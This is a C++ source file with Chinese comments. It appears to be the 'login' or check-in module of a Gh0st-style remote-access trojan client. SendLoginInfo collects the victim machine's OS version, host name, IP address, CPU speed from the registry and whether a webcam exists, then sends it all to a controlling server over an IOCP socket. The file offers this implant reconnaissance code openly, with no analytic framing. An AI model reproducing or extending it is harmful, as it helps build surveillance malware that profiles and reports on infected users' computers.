67 lines
1.6 KiB
C++
67 lines
1.6 KiB
C++
#include "StdAfx.h"
|
|
#include "LoginServer.h"
|
|
#include "Common.h"
|
|
|
|
|
|
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
|
|
{
|
|
LOGIN_INFOR LoginInfor = {0};
|
|
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
|
//获得操作系统信息
|
|
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
|
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // 注意转换类型
|
|
|
|
//获得PCName
|
|
char szPCName[MAX_PATH] = {0};
|
|
gethostname(szPCName, MAX_PATH);
|
|
|
|
//获得ClientIP
|
|
sockaddr_in ClientAddr;
|
|
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
|
int iLen = sizeof(sockaddr_in);
|
|
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
|
|
|
|
DWORD dwCPUMHz;
|
|
dwCPUMHz = CPUClockMHz();
|
|
|
|
BOOL bWebCamIsExist = WebCamIsExist();
|
|
|
|
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
|
LoginInfor.dwSpeed = dwSpeed;
|
|
LoginInfor.dwCPUMHz = dwCPUMHz;
|
|
LoginInfor.ClientAddr = ClientAddr.sin_addr;
|
|
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
|
|
|
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
|
|
|
|
return iRet;
|
|
}
|
|
|
|
|
|
DWORD CPUClockMHz()
|
|
{
|
|
HKEY hKey;
|
|
DWORD dwCPUMHz;
|
|
DWORD dwReturn = sizeof(DWORD);
|
|
DWORD dwType = REG_DWORD;
|
|
RegOpenKey(HKEY_LOCAL_MACHINE,
|
|
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
|
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
|
|
RegCloseKey(hKey);
|
|
return dwCPUMHz;
|
|
}
|
|
|
|
BOOL WebCamIsExist()
|
|
{
|
|
BOOL bOk = FALSE;
|
|
|
|
char szDeviceName[100], szVer[50];
|
|
for (int i = 0; i < 10 && !bOk; ++i)
|
|
{
|
|
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
|
//系统的API函数
|
|
szVer, sizeof(szVer));
|
|
}
|
|
return bOk;
|
|
}
|